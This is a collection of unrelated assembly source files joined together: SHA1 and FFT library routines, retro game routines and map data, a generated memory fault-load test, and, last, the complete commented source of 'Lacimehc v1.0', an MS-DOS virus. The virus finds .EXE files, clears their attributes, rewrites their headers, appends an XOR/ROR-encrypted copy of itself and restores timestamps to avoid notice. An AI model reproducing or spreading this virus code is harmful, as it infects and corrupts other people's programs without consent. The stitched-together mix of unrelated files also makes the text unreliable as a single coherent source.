SHA1_ROUND_20_39 30 W_CALC 47 SHA1_ROUND_20_39 31 W_CALC 48 SHA1_ROUND_20_39 32 W_CALC 49 SHA1_ROUND_20_39 33 W_CALC 50 SHA1_ROUND_20_39 34 W_CALC 51 SHA1_ROUND_20_39 35 W_CALC 52 SHA1_ROUND_20_39 36 W_CALC 53 SHA1_ROUND_20_39 37 W_CALC 54 SHA1_ROUND_20_39 38 W_CALC 55 SHA1_ROUND_20_39 39 W_CALC 56 SHA1_ROUND_40_59 40 W_CALC 57 SHA1_ROUND_40_59 41 W_CALC 58 SHA1_ROUND_40_59 42 W_CALC 59 SHA1_ROUND_40_59 43 ; pre-load sha1 constant vmovdqa YMM_K, [rel SHA1_YMM_K+3*sizeof(ymmword)] W_CALC 60 SHA1_ROUND_40_59 44 W_CALC 61 SHA1_ROUND_40_59 45 W_CALC 62 SHA1_ROUND_40_59 46 W_CALC 63 SHA1_ROUND_40_59 47 W_CALC 64 SHA1_ROUND_40_59 48 W_CALC 65 SHA1_ROUND_40_59 49 W_CALC 66 SHA1_ROUND_40_59 50 W_CALC 67 SHA1_ROUND_40_59 51 W_CALC 68 SHA1_ROUND_40_59 52 W_CALC 69 SHA1_ROUND_40_59 53 W_CALC 70 SHA1_ROUND_40_59 54 W_CALC 71 SHA1_ROUND_40_59 55 W_CALC 72 SHA1_ROUND_40_59 56 W_CALC 73 SHA1_ROUND_40_59 57 W_CALC 74 SHA1_ROUND_40_59 58 W_CALC 75 SHA1_ROUND_40_59 59 W_CALC 76 SHA1_ROUND_60_79 60 W_CALC 77 SHA1_ROUND_60_79 61 W_CALC 78 SHA1_ROUND_60_79 62 W_CALC 79 SHA1_ROUND_60_79 63 SHA1_ROUND_60_79 64 SHA1_ROUND_60_79 65 SHA1_ROUND_60_79 66 SHA1_ROUND_60_79 67 SHA1_ROUND_60_79 68 SHA1_ROUND_60_79 69 SHA1_ROUND_60_79 70 SHA1_ROUND_60_79 71 SHA1_ROUND_60_79 72 SHA1_ROUND_60_79 73 SHA1_ROUND_60_79 74 SHA1_ROUND_60_79 75 SHA1_ROUND_60_79 76 SHA1_ROUND_60_79 77 SHA1_ROUND_60_79 78 SHA1_ROUND_60_79 79 lea F_PTR, [rsp+sizeof(xmmword)] ;; set local data pointer ;; update hash values by 1-st data block UPDATE_HASH dword [rdi], hA UPDATE_HASH dword [rdi+4], F UPDATE_HASH dword [rdi+8], hC UPDATE_HASH dword [rdi+12],hD UPDATE_HASH dword [rdi+16],hE cmp r14, MBS_SHA1*2 jl .done rorx hB, F, 2 ;; pre-compute (b<<<30) next round andn T1,F, hD ;; pre-compute F1(F,hC,hD) = hB&hC ^(~hB&hD) and F, hC xor F, T1 SHA1_ROUND_00_19 0 SHA1_ROUND_00_19 1 SHA1_ROUND_00_19 2 SHA1_ROUND_00_19 3 SHA1_ROUND_00_19 4 SHA1_ROUND_00_19 5 SHA1_ROUND_00_19 6 SHA1_ROUND_00_19 7 SHA1_ROUND_00_19 8 SHA1_ROUND_00_19 9 SHA1_ROUND_00_19 10 SHA1_ROUND_00_19 11 SHA1_ROUND_00_19 12 SHA1_ROUND_00_19 13 SHA1_ROUND_00_19 14 SHA1_ROUND_00_19 15 SHA1_ROUND_00_19 16 SHA1_ROUND_00_19 17 SHA1_ROUND_00_19 18 SHA1_ROUND_00_19 19 SHA1_ROUND_20_39 20 SHA1_ROUND_20_39 21 SHA1_ROUND_20_39 22 SHA1_ROUND_20_39 23 SHA1_ROUND_20_39 24 SHA1_ROUND_20_39 25 SHA1_ROUND_20_39 26 SHA1_ROUND_20_39 27 SHA1_ROUND_20_39 28 SHA1_ROUND_20_39 29 SHA1_ROUND_20_39 30 SHA1_ROUND_20_39 31 SHA1_ROUND_20_39 32 SHA1_ROUND_20_39 33 SHA1_ROUND_20_39 34 SHA1_ROUND_20_39 35 SHA1_ROUND_20_39 36 SHA1_ROUND_20_39 37 SHA1_ROUND_20_39 38 SHA1_ROUND_20_39 39 SHA1_ROUND_40_59 40 SHA1_ROUND_40_59 41 SHA1_ROUND_40_59 42 SHA1_ROUND_40_59 43 SHA1_ROUND_40_59 44 SHA1_ROUND_40_59 45 SHA1_ROUND_40_59 46 SHA1_ROUND_40_59 47 SHA1_ROUND_40_59 48 SHA1_ROUND_40_59 49 SHA1_ROUND_40_59 50 SHA1_ROUND_40_59 51 SHA1_ROUND_40_59 52 SHA1_ROUND_40_59 53 SHA1_ROUND_40_59 54 SHA1_ROUND_40_59 55 SHA1_ROUND_40_59 56 SHA1_ROUND_40_59 57 SHA1_ROUND_40_59 58 SHA1_ROUND_40_59 59 SHA1_ROUND_60_79 60 SHA1_ROUND_60_79 61 SHA1_ROUND_60_79 62 SHA1_ROUND_60_79 63 SHA1_ROUND_60_79 64 SHA1_ROUND_60_79 65 SHA1_ROUND_60_79 66 SHA1_ROUND_60_79 67 SHA1_ROUND_60_79 68 SHA1_ROUND_60_79 69 SHA1_ROUND_60_79 70 SHA1_ROUND_60_79 71 SHA1_ROUND_60_79 72 SHA1_ROUND_60_79 73 SHA1_ROUND_60_79 74 SHA1_ROUND_60_79 75 SHA1_ROUND_60_79 76 SHA1_ROUND_60_79 77 SHA1_ROUND_60_79 78 SHA1_ROUND_60_79 79 ;; update hash values by 2-nd data block UPDATE_HASH dword [rdi], hA UPDATE_HASH dword [rdi+4], F UPDATE_HASH dword [rdi+8], hC UPDATE_HASH dword [rdi+12],hD UPDATE_HASH dword [rdi+16],hE ;; unfortunately 2*80%6 != 0 ;; and so need to re-order hA,F,hB,hC,hD,hE values ;; to match the code generated for 1-st block processing mov hB, hD ; re-order data physically mov hD, hA mov T1, hE mov hE, F mov F, hC mov hC, T1 ROTATE_H ; re-order data logically ROTATE_H ; twice, because 6 -(2*80%6) = 2 add rsi, MBS_SHA1*2 sub r14, MBS_SHA1*2 jg .sha1_block2_loop .done: mov rsp, r15 REST_XMM_AVX REST_GPR ret ENDFUNC UpdateSHA1 %endif ;; _IPP32E >= _IPP32E_L9 %endif ;; _FEATURE_OFF_ / _FEATURE_TICKTOCK_ %endif ;; _ENABLE_ALG_SHA1_
26.020305
112
0.545747
b92d5d40a93b6183b52972743a753b5c9dcc00c7
1,050
asm
Assembly
routines/OverworldDistance.asm
Atari2/WhiteSnake
a69b56bbf4389b25b193b1fa8813ac8c5d393677
[ "MIT" ]
null
null
null
routines/OverworldDistance.asm
Atari2/WhiteSnake
a69b56bbf4389b25b193b1fa8813ac8c5d393677
[ "MIT" ]
1
2020-06-27T09:12:40.000Z
2020-07-03T23:21:26.000Z
routines/OverworldDistance.asm
Atari2/WhiteSnake
a69b56bbf4389b25b193b1fa8813ac8c5d393677
[ "MIT" ]
null
null
null
; void ; -> ; Y: mangled ; $00: absolute value of the distance between player and sprite, x axis ; $02: absolute value of the distance between player and sprite, y axis ; $06: distance between player and sprite, x axis ; $08: distance between player and sprite, y axis LDA !ow_sprite_x_pos,x CLC ADC #$0008 LDY $0DD6|!Base2 ; Mario: 00 Luigi: 04 SEC SBC $1F17|!Base2,y ; Mario/Luigi x position STA $00 BPL + EOR #$FFFF ; if distance is minus, do bit reverse INC + STA $06 ; x distance between mario/luigi and sprite LDA !ow_sprite_y_pos,x CLC ADC #$0008 LDY $0DD6|!Base2 ; Mario: 00 Luigi: 04 SEC SBC $1F19|!Base2,y ; Mario/Luigi y position STA $02 BPL + EOR #$FFFF ; if distance is minus, do bit reverse INC + STA $08 ; y distance between mario/luigi and sprite RTL
33.870968
76
0.526667
a05c00cc3f3ae859c2931b3a0626730570768417
757
asm
Assembly
data/mapObjects/seafoamislands5.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/mapObjects/seafoamislands5.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/mapObjects/seafoamislands5.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
SeafoamIslands5Object: db $7d ; border block db $4 ; warps db $11, $14, $5, SEAFOAM_ISLANDS_4 db $11, $15, $6, SEAFOAM_ISLANDS_4 db $7, $b, $1, SEAFOAM_ISLANDS_4 db $4, $19, $2, SEAFOAM_ISLANDS_4 db $2 ; signs db $f, $9, $4 ; SeafoamIslands5Text4 db $1, $17, $5 ; SeafoamIslands5Text5 db $3 ; objects object SPRITE_BOULDER, $4, $f, STAY, NONE, $1 ; person object SPRITE_BOULDER, $5, $f, STAY, NONE, $2 ; person object SPRITE_BIRD, $6, $1, STAY, DOWN, $3, ARTICUNO, 50 ; warp-to EVENT_DISP SEAFOAM_ISLANDS_5_WIDTH, $11, $14 ; SEAFOAM_ISLANDS_4 EVENT_DISP SEAFOAM_ISLANDS_5_WIDTH, $11, $15 ; SEAFOAM_ISLANDS_4 EVENT_DISP SEAFOAM_ISLANDS_5_WIDTH, $7, $b ; SEAFOAM_ISLANDS_4 EVENT_DISP SEAFOAM_ISLANDS_5_WIDTH, $4, $19 ; SEAFOAM_ISLANDS_4
31.541667
65
0.709379
95bb3bad0cd4190cba1f7e1e1c7c411eb3eca10f
4,098
asm
Assembly
c2000/C2000Ware_1_00_06_00/libraries/dsp/FixedPoint/c28/source/CFFT32_mag.asm
ramok/Themis_ForHPSDR
d0f323a843ac0a488ef816ccb7c828032855a40a
[ "Unlicense" ]
null
null
null
c2000/C2000Ware_1_00_06_00/libraries/dsp/FixedPoint/c28/source/CFFT32_mag.asm
ramok/Themis_ForHPSDR
d0f323a843ac0a488ef816ccb7c828032855a40a
[ "Unlicense" ]
null
null
null
c2000/C2000Ware_1_00_06_00/libraries/dsp/FixedPoint/c28/source/CFFT32_mag.asm
ramok/Themis_ForHPSDR
d0f323a843ac0a488ef816ccb7c828032855a40a
[ "Unlicense" ]
1
2021-07-21T08:10:37.000Z
2021-07-21T08:10:37.000Z
;;############################################################################# ;;! \file source/CFFT32_mag.asm ;;! ;;! \brief Magnitude function for the complex FFT ;;! ;;! \date Nov 2, 2010 ;;! ;; ;; Group: C2000 ;; Target Family: C28x ;; ;;############################################################################# ;;$TI Release: C28x Fixed Point DSP Library v1.20.00.00 $ ;;$Release Date: Thu Oct 18 15:57:22 CDT 2018 $ ;;$Copyright: Copyright (C) 2014-2018 Texas Instruments Incorporated - ;; http://www.ti.com/ ALL RIGHTS RESERVED $ ;;############################################################################# ;; ;; ;;***************************************************************************** ;; includes ;;***************************************************************************** ;; ;;***************************************************************************** ;; globals ;;***************************************************************************** ; Module definition for external reference .def _CFFT32_mag ;; Module Structure ;; typedef struct { <--------- XAR4 ;; int32_t *ipcbptr; /* +0 Pointer to input buffer */ ;; int32_t *tfptr /* +2 Pointer to twiddle factors */ ;; int16_t size; /* +4 Size of the FFT */ ;; int16_t nrstage; /* +5 Number of FFT stages (log2(size)) */ ;; int16_t *magptr; /* +6 Pointer to the magnitude buffer */ ;; int16_t *winptr; /* +8 Pointer to the sampling window */ ;; int16_t peakmag; /* +10 Peak magnitude value */ ;; int16_t peakfrq; /* +11 Peak Frequency */ ;; int16_t ratio; /* +12 Twiddles Skip factor */ ;; void (*init)(void); /* +14 Pointer to the initialization () */ ;; void (*izero)(void *); /* +16 Pointer to the zero-out imaginary () */ ;; void (*calc)(void *); /* +18 Pointer to the calculation () */ ;; void (*mag)(void *); /* +20 Pointer to the magnitude () */ ;; void (*win)(void *); /* +22 Pointer to the windowing () */ ;;}CFFT32; ;;============================================================================= ;; Routine Type : C Callable ;; Description : ;; void CFFT32_mag(CFFT32_Handle) ;; This function computes the magnitude square of complex FFT outputs. Allows in-place ;; and off-place storage of the magnitude square results. ;; _CFFT32_mag: SETC SXM MOVL XAR7,*XAR4 ; XAR5=ipcbptr MOVL XAR6,*+XAR4[6] ; XAR6=magptr MOVZ AR0,*+XAR4[4] ; AR7=size SUBB XAR0,#1 ; AR0=size-1 MAG_LP: ZAPA ; ACC=0, P=0 QMACL P,*XAR7,*XAR7++ ; Q15*Q15=Q30 QMACL P,*XAR7,*XAR7++ ; Q15*Q15+Q30=Q30 ADDL ACC,P MOVL *XAR6++,ACC ; Store in Q30 BANZ MAG_LP,AR0-- ; Find maximum magnitude ADDB XAR4,#4 ; XAR4->size MOVB ACC,#0 MOVL *+XAR4[6],ACC ; peakmag=0 MOVZ AR0,*XAR4 ; AR0=size MOVL XAR5,*+XAR4[2] ; XAR5=magptr MOV ACC,#0 SUBB XAR0,#1 ; AR0=size-1 ;Find the maximum value among the FFT Magnitudes RPT AR0 || MAXL ACC,*XAR5++ MOVL *+XAR4[6],ACC ; update peak magnitude MOVB XAR7,#0 ; XAR7=0 MOVL XAR5,*+XAR4[2] ; XAR5=magptr ;Find the spectral bin corresponding to maximum magnitude. NEXT_BIN: MAXL ACC,*XAR5++ NOP *XAR7++ SBF NEXT_BIN,NEQ NOP *--XAR7 ADDB XAR4,#8 ; XAR4->peakfrq MOV *XAR4,AR7 ; update peak magnitude LRETR ;;############################################################################# ;; End of File ;;#############################################################################
39.786408
86
0.403123
0e613cd37ccce39aefc9f971457587134deee72f
6,183
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_250.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_250.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_250.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0xda16, %rsi lea addresses_UC_ht+0x1911a, %rdi add $25119, %r10 mov $92, %rcx rep movsb add $28325, %r8 lea addresses_WC_ht+0x19a9a, %r15 nop dec %rax mov $0x6162636465666768, %rsi movq %rsi, (%r15) nop sub %rax, %rax lea addresses_WT_ht+0x15d6, %rsi lea addresses_normal_ht+0x1a0da, %rdi nop nop and $21041, %rbp mov $111, %rcx rep movsb nop nop nop nop inc %r10 lea addresses_WT_ht+0x1009a, %rsi lea addresses_D_ht+0x18f9a, %rdi nop nop nop lfence mov $83, %rcx rep movsq nop nop nop dec %r8 lea addresses_WC_ht+0x9b9a, %rax nop nop nop nop inc %r15 mov $0x6162636465666768, %rdi movq %rdi, (%rax) nop nop nop nop nop xor $31879, %rdi lea addresses_WC_ht+0x787e, %r10 nop nop nop nop sub %rax, %rax movb $0x61, (%r10) nop nop nop nop nop and %r10, %r10 lea addresses_A_ht+0x999a, %rsi nop and %r10, %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm5 and $0xffffffffffffffc0, %rsi vmovaps %ymm5, (%rsi) nop nop nop nop inc %rdi lea addresses_UC_ht+0x12642, %rbp cmp %r8, %r8 movw $0x6162, (%rbp) nop cmp %rcx, %rcx lea addresses_WT_ht+0x1d69a, %rax nop nop inc %rcx mov $0x6162636465666768, %r10 movq %r10, %xmm5 vmovups %ymm5, (%rax) xor $26243, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %r9 push %rsi // Faulty Load lea addresses_A+0x9b9a, %r9 add %r14, %r14 mov (%r9), %esi lea oracles, %r14 and $0xff, %rsi shlq $12, %rsi mov (%r14,%rsi,1), %rsi pop %rsi pop %r9 pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 5, 'type': 'addresses_normal_ht'}} {'src': {'same': True, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 2, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
40.677632
2,999
0.661329
5dafeba4f474f28c5203ab5ca2852d5c640af705
14,648
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.lacimehc.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.lacimehc.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.lacimehc.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; ------------------------------------------------------------------------- ; ; Lacimehc v1.0 coded by KilJaeden of the Codebreakers 1998 ; ; ------------------------------------------------------------------------- ; ; Description: `-------------------| Started: 13/06/98 | Finished: 15/06/98 ; ; `-------------------^------------------- ; ; v1.0 - first attempt at .EXE infection, probably full of | Size: 597 ; ; - errors and unoptimized stuff, but I will fix all `---------- ; ; - that when I have a better understanding of what the ; ; - hell is actually going on, it's complicated! hehe ; ; v1.1 - added encryption to this exe appender! XOR,ROR,NEG ; ; ------------------------------------------------------------------------- ; ; ---------------> You Cannot Sedate All The Things You Hate <------------- ; ; ------------------------------------------------------------------------- ; ; to compile ::] tasm lacimehc.asm ; ; to link :::::] tlink /t lacimehc.obj ; ; ------------------------------------------------------------------------- ; code segment ; name our segment 'code' assume cs:code,ds:code ; assign CS and DS to code org 100h ; original is a .com file blank: db 0e9h,0,0 ; jump to beginning start: call delta ; push IP on to the stack delta: pop bp ; pop it into BP sub bp,offset delta ; get the delta offset push ds es ; save original DS and ES push cs cs ; push CS twice pop ds es ; CS = DS = ES now decr: jmp once ; jump to once (overwritten) lea si,[bp+encd] ; points to encrypted area mov di,si ; move the value into DI call encr ; call our decryption loop jmp encd ; jump to main virus encr: lodsb ; load a byte into al ror al,4 ; encryptin 1 neg al ; encryptin 2 xor al,byte ptr [bp+key] ; encryptin 3 -final- neg al ; unencrypt 2 ror al,4 ; unencrypt 1 stosb ; return the byte loop encr ; do this for all bytes ret ; return from call key db 0 ; our key value encd: mov ax,word ptr [bp+exe_cs] ; exe_cs and _cs mov word ptr [bp+_cs],ax ; are now equal push [bp+exe_cs] ; save CS push [bp+exe_ip] ; save IP push [bp+exe_ss] ; save SS push [bp+exe_sp] ; save SP mov ah,1ah ; set new DTA location lea dx,[bp+offset dta] ; new DTA goes here int 21h ; DTA is now moved mov ah,4eh ; find first file lea dx,[bp+exefile] ; with extension .exe mov cx,7 ; possible attributes findit: int 21h ; find a .exe jnc cont ; found one? continue on jmp exit ; return control to host cont: lea dx,[bp+dta+1eh] ; get file name info mov ax,4300h ; get file attributes int 21h ; get them now push cx ; save the attributes push dx ; and the file name info mov ax,4301h ; set file attributes xor cx,cx ; to none at all int 21h ; infect even read only now mov ax,3d02h ; open the file int 21h ; file is opened xchg bx,ax ; move file handle in BX jnc cont2 ; no problems? continue on jmp abort ; whoops, find another one cont2: mov ax,5700h ; get the time / date stamps int 21h ; we have the stamps push cx ; save the time push dx ; save the date mov ah,3fh ; read from file mov cx,1ch ; read the EXE header lea dx,[bp+offset header] ; store it into 'header' int 21h ; do the int 21 this time cmp word ptr [bp+header],'ZM' ; check for the initials je cont3 ; its good, infect it cmp word ptr [bp+header],'MZ' ; check for the initials je cont3 ; its good, infect it jmp next ; find next file cont3: cmp word ptr [bp+header+10h],'JK' ; check for our ID bytes jne cont4 ; not done before, infect it jmp next ; infected, get another one cont4: mov ax,word ptr [bp+header+18h] ; load AX with offset 40h cmp ax,40h ; is this a WinEXE file? jnae cont5 ; nope, continue on jmp next ; yup it is, get another one cont5: cmp word ptr [bp+header+1ah],0 ; check for internal overlays je infect ; nope, infect this file now jmp next ; there are, get another one infect: push bx ; save file handle mov ax,word ptr [bp+header+0eh] ; get original SS into AX mov word ptr [bp+exe_ss],ax ; save it into exe_ss mov ax,word ptr [bp+header+10h] ; get original SP into AX mov word ptr [bp+exe_sp],ax ; save it into exe_sp mov ax,word ptr [bp+header+14h] ; get original IP into AX mov word ptr [bp+exe_ip],ax ; save it into exe_ip mov ax,word ptr [bp+header+16h] ; get original CS into ax mov word ptr [bp+exe_cs],ax ; save it into exe_cs mov ax,4202h ; scan to end of file xor cx,cx ; xor cx to 0 cwd ; likewize for dx int 21h ; DX:AX holds file size now push ax dx ; save file size for awhile mov bx,word ptr [bp+header+8h] ; header size in paragraphs mov cl,4 ; load CL with 4 shl bx,cl ; multiply bx by 16 (4x4=16) sub ax,bx ; subtract file size sbb dx,0 ; if CF is set subtract 1 mov cx,10h ; cx = 10h = 16 div cx ; undue our mutiplying x16 mov word ptr [bp+header+14h],dx ; put the offset in mov word ptr [bp+header+16h],ax ; segment offset of code mov word ptr [bp+header+0eh],ax ; segment offset of stack mov word ptr [bp+header+10h],'JK' ; put our ID in pop dx ax bx ; restore file size / handle add ax,finished-start ; add our virus size adc dx,0 ; if CF add 1, if not, 0 mov cx,512 ; convert to pages div cx ; by dividing by 512 inc ax ; round up mov word ptr [bp+header+4],ax ; put the new PageCnt up mov word ptr [bp+header+2],dx ; put the new PartPag up mov ax,4202h ; scan to end of file xor cx,cx ; xor cx to 0 cwd ; likewize for dx int 21h ; DX:AX holds file size now in al,40h ; get a random value mov byte ptr [bp+key],al ; save as our key mov ah,40h ; write to file lea dx,[bp+start] ; starting here mov cx,encd-start ; # of bytes to write int 21h ; write them now lea di,[bp+finished] ; where to put bytes push di ; save value lea si,[bp+encd] ; where to get bytes mov cx,finished-encd ; # of bytes to do push cx ; save value call encr ; encrypt the bytes mov ah,40h ; write to file pop cx ; restore first value pop dx ; restore second value int 21h ; write them to file mov ax,4200h ; seek to start of file xor cx,cx ; cx to 0 cwd ; likewize for dx int 21h ; at start of file now mov ah,40h ; write to file lea dx,[bp+header] ; write the new header mov cx,1ch ; # of bytes to write int 21h ; write it now next: mov ax,5701h ; set time / date stamps pop dx ; restore the date pop cx ; restore the time int 21h ; time / date are restored mov ah,3eh ; close the file int 21h ; close it up now abort: mov ax,4301h ; set file attributes pop dx ; for this file name pop cx ; with these attributes int 21h ; attributes are restored mov ah,4fh ; find next file jmp findit ; start all over again exit: pop [bp+exe_sp] ; restore SP pop [bp+exe_ss] ; restore SS pop [bp+exe_ip] ; restore IP pop [bp+exe_cs] ; restore CS mov ah,1ah ; restore the DTA mov dx,80h ; new address for DTA int 21h ; back to original location pop es ds ; pop ES and DS from stack mov ax,es ; ax points to PSP add ax,10h ; skip over the PSP add word ptr cs:[bp+_cs],ax ; restoring CS mov bx,word ptr cs:[bp+exe_ip] ; move the IP into bx mov word ptr cs:[bp+_ip],bx ; save the IP into _ip cli ; clear interrupt flag mov sp,word ptr cs:[bp+exe_sp] ; adjust ExeSP add ax,word ptr cs:[bp+exe_ss] ; restore the stack mov ss,ax ; adjust ReloSS sti ; set interrupt flag db 0eah ; jmp far ptr cs:ip ; ---------------------------( The Data Area )----------------------------- ; ; ------------------------------------------------------------------------- ; _ip dw 0 ; used as offset for db 0eah _cs dw 0 ; used as offset for db 0eah exe_cs dw 0fff0h ; original CS exe_ip dw 0 ; original IP exe_sp dw 0 ; original SP exe_ss dw 0 ; original SS exefile db "*.exe",0 ; infecting .exe files header db 1ch dup (?) ; space for the header dta db 43 dup (?) ; space for the new dta finished: ; end of the virus ; ---------------------( Not Saved / Not Encrypted )----------------------- ; ; ------------------------------------------------------------------------- ; once: lea si,[bp+new] ; bytes to move lea di,[bp+decr] ; to be moved here movsw ; move two bytes movsb ; move one byte jmp encd ; jump to main body new: mov cx,finished-encd ; this replaces the jump ; -----------------------------( The End )--------------------------------- ; ; ------------------------------------------------------------------------- ; code ends ; end code segment end blank ; end / where to start ; ------------------------------------------------------------------------- ; ; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; ; 